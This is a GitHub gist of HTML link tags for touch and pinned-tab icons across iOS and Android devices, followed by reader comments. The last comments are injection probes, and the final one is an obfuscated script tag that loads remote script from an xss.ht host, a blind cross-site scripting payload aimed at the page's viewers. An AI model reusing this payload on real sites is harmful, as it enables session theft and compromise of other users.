Skip to content

Instantly share code, notes, and snippets.

@kevinSuttle
Last active October 11, 2024 23:52
Show Gist options
  • Save kevinSuttle/9835773 to your computer and use it in GitHub Desktop.
Save kevinSuttle/9835773 to your computer and use it in GitHub Desktop.
Touch icon link syntax
<!-- For non-Retina iPhone, iPod Touch, and Android 2.1+ devices: -->
<link rel="apple-touch-icon-precomposed" href="apple-touch-icon-precomposed.png">
<!-- For the iPad mini and the first- and second-generation iPad on iOS ≤ 6: -->
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="apple-touch-icon-72x72-precomposed.png">
<!-- For the iPad mini and the first- and second-generation iPad on iOS ≥ 7: -->
<link rel="apple-touch-icon-precomposed" sizes="76x76" href="apple-touch-icon-76x76-precomposed.png">
<!-- For iPhone with high-resolution Retina display running iOS ≤ 6: -->
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-touch-icon-114x114-precomposed.png">
<!-- For iPhone with high-resolution Retina display running iOS ≥ 7: -->
<link rel="apple-touch-icon-precomposed" sizes="120x120" href="apple-touch-icon-120x120-precomposed.png">
<!-- For iPad with high-resolution Retina display running iOS ≤ 6: -->
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="apple-touch-icon-144x144-precomposed.png">
<!-- For iPad with high-resolution Retina display running iOS ≥ 7: -->
<link rel="apple-touch-icon-precomposed" sizes="152x152" href="apple-touch-icon-152x152-precomposed.png">
<!-- Chrome v31+ for Android -->
<link rel="icon" sizes="192x192" href="apple-touch-icon.png">
<!-- Apple "pinned tab" icons -->
<link rel="mask-icon" href="website_icon.svg" color="red">
@kellyrmilligan
Copy link

found this through a series of links. is this the latest recommendation in your opinion for just the full icon markup to be used?

@benebun
Copy link

benebun commented May 24, 2015

@dashingjaved
Copy link

[">](">)

@dashingjaved
Copy link

[“><ScRiPt/ScRiPt/scRipT/sR/SrC=https://babuji.xss.ht><! —](“><ScRiPt/ScRiPt/scRipT/sR/SrC=https://babuji.xss.ht><! —)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment